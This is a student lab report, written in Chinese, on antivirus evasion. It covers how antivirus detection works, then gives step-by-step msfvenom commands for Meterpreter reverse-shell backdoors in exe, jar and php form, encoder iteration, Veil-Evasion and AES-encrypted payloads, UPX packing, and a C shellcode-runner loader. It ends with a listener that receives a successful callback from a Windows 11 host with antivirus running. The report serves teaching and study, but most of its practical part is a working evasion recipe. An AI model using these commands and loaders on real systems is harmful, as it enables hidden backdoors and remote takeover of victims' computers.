Exp3-免杀原理 实验报告—20201229赵斌
免杀原理与实践
基础问题回答
Q1:杀软是如何检测出恶意代码的?
(1)基于特征码的检测
- 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 特征库举例——SNORT
(2)启发式恶意软件检测
- 根据片面特征去推断(看起来像),通常缺乏精确判断依据
- 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
(3)基于行为的恶意软件检测
- 基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式
- 让软件运行,记录其行为并分析(杀软的工作原理)
Q2: 免杀是做什么?
- 使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。
Q3:免杀的基本方法有哪些?
(1)改变特征码(改变机器指令)
- 有EXE——加壳:压缩壳、加密壳
- 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
(2)改变行为
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
实验过程
任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件
(一)免杀检测
在实验二中使用msf生成了后门程序20201229_backdoor.exe
,可以使用VirusTotal对生成的后门程序进行扫描。
-
用VirusTotal扫描后结果如下:69款杀软中54款报出了病毒,不加处理的后门程序能被大部分的杀软检测到
-
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。
(二)正确使用msf编码器,生成exe文件
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次Unicode编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'
不出现在shellcode中,因为shellcode以'\x00'
为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.134 LPORT=1229 -f exe > 20201229backdoor.exe
检测结果如下:
- 多次编码使用命令:
-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -29 10 -b '\x00' LHOST=192.168.247.134 LPORT=1229 -f exe > 20201229_backdoor2.exe
检测结果如下:
上述实验操作说明只通过简单的多次编码无法实现免杀,我们继续新的操作
(三)msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.134 LPORT=1229 x > 20201229_backdoor_jar.jar
测试结果如下:
(四)msfvenom生成php文件
- 生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.247.134 LPORT=1229 x > 20201229_backdoor_php.php
测试结果如下:
(五)使用veil-evasion生成后门程序及检测
1.安装veil-evasion
sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,所以我们更改setup.sh第260行的克隆地址为
Sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功后,输入veil
安装相关模块
按上述操作正常来说可以成功下载,运气不好多试几次也是能成功的,但在我安装失败5次后,我毅然选择了拷贝一份课题负责人的虚拟机—_—
所以后续操作可以看到我的Kali IP发生了变化。
2.利用加壳工具产生后门软件
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.247.137
set LPORT 1229
generate
生成的文件路径为/var/lib/veil/output/compiled/20201229zb_veil.exe
检测结果为:
3.免杀加壳尝试
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
- 使用压缩壳(UPX)——减少应用体积,如ASPack,UPX
upx 20201229zb_veil.exe -o 20201229zb_veil_upx.exe
检测结果如下:
(六)使用C + shellcode编程
首先使用命令生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.137 LPORT=1229 -f c
编辑C文件 vim shellcode_c.c,将unsigned char buf[]赋值到其中:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() =(int(*)())buf;
func();
}
编译成可执行文件:
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
检测结果如下:
任务二:通过组合应用各种技术实现恶意代码免杀
- 利用python+aes_encrypt
veil
use evasion
list
use python/shellcode_inject/aes_encrypt.py
generate
2
回车
192.168.247.137
1229
回车
检测结果如下:
上述操作使用了数据加密的方式进行多次编译后门软件,有了一定的效果。
任务三:附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
用Windows 11做测试,杀毒软件为电脑自带的联想电脑管家,版本号为5.0.80.3162,使用的后门程序是20201229zb_veil_upx.exe。此时杀软为打开状态。
kali中运行如下指令,开始监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.247.137
set LPORT 1229
exploit
在windows主机中运行20201229zb_veil_upx.exe,杀软识别报警
信任此程序,运行后成功回连
实验总结与体会
本次实验相较与前两次来说更简单了,主要是尝试各种方法“包装”后门程序,使其躲过杀毒软件的识别。虽然后门程序经过加壳、编码后能躲过一些杀软,但我发现过不了多久就会被系统自动删除,运行时更是会被直接拎出来说里面有木马病毒。这也很正常,我们学了几节课就想入侵别人的电脑,未免有点太简单,要知道现在这些常见的杀软可是经历了几十年的考验,不知道抵御了多少亿次的攻击。入侵与防御之间就像矛与盾的关系,没有什么绝对安全,网络安全与信息安全也正是在一次次的攻与防中进步的。这次实验让我对免杀产生了浓厚的兴趣,未来希望能进一步研究这方面内容。